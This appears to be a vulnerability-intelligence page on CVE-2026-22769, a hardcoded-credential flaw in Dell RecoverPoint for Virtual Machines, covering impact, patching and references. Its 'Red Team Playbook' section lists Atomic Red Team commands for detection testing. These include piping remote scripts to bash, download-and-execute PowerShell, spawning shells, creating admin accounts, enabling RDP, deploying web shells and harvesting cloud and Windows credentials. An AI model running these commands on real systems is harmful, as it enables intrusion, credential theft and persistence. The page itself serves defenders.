CVE-2026-22769
Overview
This vulnerability is a hardcoded credential flaw within Dell RecoverPoint for Virtual Machines prior to version 6.0.3.1 HF1. The root cause is the presence of static, embedded authentication credentials in the software, which are accessible without authentication. The affected component is the authentication mechanism of the RecoverPoint for Virtual Machines management interface, allowing unauthorized access to privileged functions.
Vulnerability Description
Dell RecoverPoint for Virtual Machines, versions prior to 6.0.3.1 HF1, contain a hardcoded credential vulnerability. This is considered critical as an unauthenticated remote attacker with knowledge of the hardcoded credential could potentially exploit this vulnerability leading to unauthorized access to the underlying operating system and root-level persistence. Dell recommends that customers upgrade or apply one of the remediations as soon as possible.
Impact
An unauthenticated remote attacker with knowledge of the hardcoded credentials can gain full administrative access to the Dell RecoverPoint for Virtual Machines environment. This includes unauthorized access to the underlying operating system with root-level privileges, enabling persistent control, data exfiltration, and potential lateral movement within the network. No authentication or user interaction is required, making exploitation straightforward and enabling complete system compromise with high business impact including data breaches and operational disruption.
Solution
Dell recommends upgrading Dell RecoverPoint for Virtual Machines to version 6.0.3.1 HF1 or later to eliminate the hardcoded credential vulnerability. Customers should refer to Dell Security Advisory DSA-2026-079 (https://www.dell.com/support/kbdoc/en-us/000426773/dsa-2026-079) for detailed patching instructions and remediation steps. Applying the provided hotfix or upgrade is the primary mitigation to remove the embedded credentials and secure the management interface.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in Dell RecoverPoint for Virtual Machines, specifically in versions prior to 6.0.3.1 HF1, is characterized by the existence of hardcoded credentials. This flaw allows an unauthenticated remote attacker to gain unauthorized access to the underlying operating system. The hardcoded nature of these credentials means that they are embedded within the software and cannot be easily altered or removed by users, creating a significant security risk. Once exploited, an attacker could achieve root-level persistence, which would enable them to execute arbitrary commands, manipulate data, and potentially compromise the entire system.
Exploitation of this vulnerability can occur through various attack vectors. An attacker with knowledge of the hardcoded credentials can initiate a remote connection to the affected system without needing to authenticate. This could be accomplished through network scanning or reconnaissance to identify vulnerable instances of the software. Once access is gained, the attacker can leverage the privileges associated with the hardcoded credentials to perform malicious activities, such as data exfiltration, system manipulation, or deploying additional malware. The ease of exploitation, combined with the critical nature of the vulnerability, poses a severe threat to organizations utilizing this software.
The real-world impact of this vulnerability is substantial, particularly for businesses that rely on Dell RecoverPoint for Virtual Machines for data protection and disaster recovery. Unauthorized access to critical systems can lead to data breaches, loss of sensitive information, and significant operational disruptions. Additionally, the potential for root-level access means that attackers could establish backdoors for future exploitation, complicating incident response and recovery efforts. The financial implications of such breaches can be severe, encompassing regulatory fines, reputational damage, and the costs associated with remediation and recovery.
To detect and mitigate the risks associated with this vulnerability, organizations should prioritize upgrading to the latest version of the software as recommended by the vendor. Regularly applying security patches and updates is essential in maintaining a secure environment. Furthermore, organizations should conduct thorough security assessments and vulnerability scans to identify any instances of the affected software within their networks. Implementing network segmentation and access controls can also help limit exposure to potential attacks. Additionally, monitoring for unusual activity and establishing an incident response plan will enable organizations to respond swiftly to any exploitation attempts.
In conclusion, the hardcoded credential vulnerability in Dell RecoverPoint for Virtual Machines represents a critical security risk that could have devastating consequences for affected organizations. The potential for unauthorized access and root-level control underscores the importance of immediate remediation efforts. By adopting proactive detection and mitigation strategies, organizations can better protect their systems and data from exploitation, thereby reducing the overall risk associated with this vulnerability.
Recent CSURFACE threat intelligence indicates a notable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2026-22769, rising by approximately one-third. This upward shift suggests an elevated likelihood of exploitation attempts despite a concurrent significant reduction in detection activity across our telemetry. The divergence between decreased detection signals and a rising EPSS score may reflect evolving attacker tactics, such as more targeted or stealthier operations that evade current monitoring capabilities. Although no new exploit techniques or ransomware associations have been identified, the increasing EPSS percentile—now approaching the top 1%—signals growing interest or preparatory activity within adversary communities. For defenders, this development underscores the necessity to reassess detection strategies and remain vigilant for subtle exploitation indicators that may not trigger conventional alerts. The risk posture for this vulnerability has consequently intensified, warranting heightened attention even in the absence of overt exploitation evidence.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Dell | Recoverpoint For Virtual Machines | All |
cpe:2.3:a:dell:recoverpoint_for_virtual_machines:*:*:*:*:*:*:*:*
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Dell | Recoverpoint For Virtual Machines | 6.0 |
cpe:2.3:a:dell:recoverpoint_for_virtual_machines:6.0:-:*:*:*:*:*:*
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Dell | Recoverpoint For Virtual Machines | 6.0 |
cpe:2.3:a:dell:recoverpoint_for_virtual_machines:6.0:sp1:*:*:*:*:*:*
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Dell | Recoverpoint For Virtual Machines | 6.0 |
cpe:2.3:a:dell:recoverpoint_for_virtual_machines:6.0:sp1_p1:*:*:*:*:*:*
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|
Dell | Recoverpoint For Virtual Machines | 6.0 |
cpe:2.3:a:dell:recoverpoint_for_virtual_machines:6.0:sp1_p2:*:*:*:*:*:*
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|
Dell | Recoverpoint For Virtual Machines | 6.0 |
cpe:2.3:a:dell:recoverpoint_for_virtual_machines:6.0:sp2:*:*:*:*:*:*
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Dell | Recoverpoint For Virtual Machines | 6.0 |
cpe:2.3:a:dell:recoverpoint_for_virtual_machines:6.0:sp2_p1:*:*:*:*:*:*
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|
Dell | Recoverpoint For Virtual Machines | 6.0 |
cpe:2.3:a:dell:recoverpoint_for_virtual_machines:6.0:sp3:*:*:*:*:*:*
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Dell | Recoverpoint For Virtual Machines | 6.0 |
cpe:2.3:a:dell:recoverpoint_for_virtual_machines:6.0:sp3_p1:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-70 | Try Common or Default Usernames and Passwords |
35%
|
Medium | High | |
| CAPEC-191 | Read Sensitive Constants Within an Executable |
34%
|
— | Low |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
net user #{guest_user} /active:yes
sudo sysadminctl -guestAccount on
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-22769 |
| dell.com |
GitHub CVE
vendor-advisory
|
https://www.dell.com/support/kbdoc/en-us/000426773/dsa-2026-079 |
| cloud.google.com |
NVD API
Third Party Advisory
|
https://cloud.google.com/blog/topics/threat-intelligence/unc6201-exploiting-dell-recoverpoint-zero-day |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-22769 |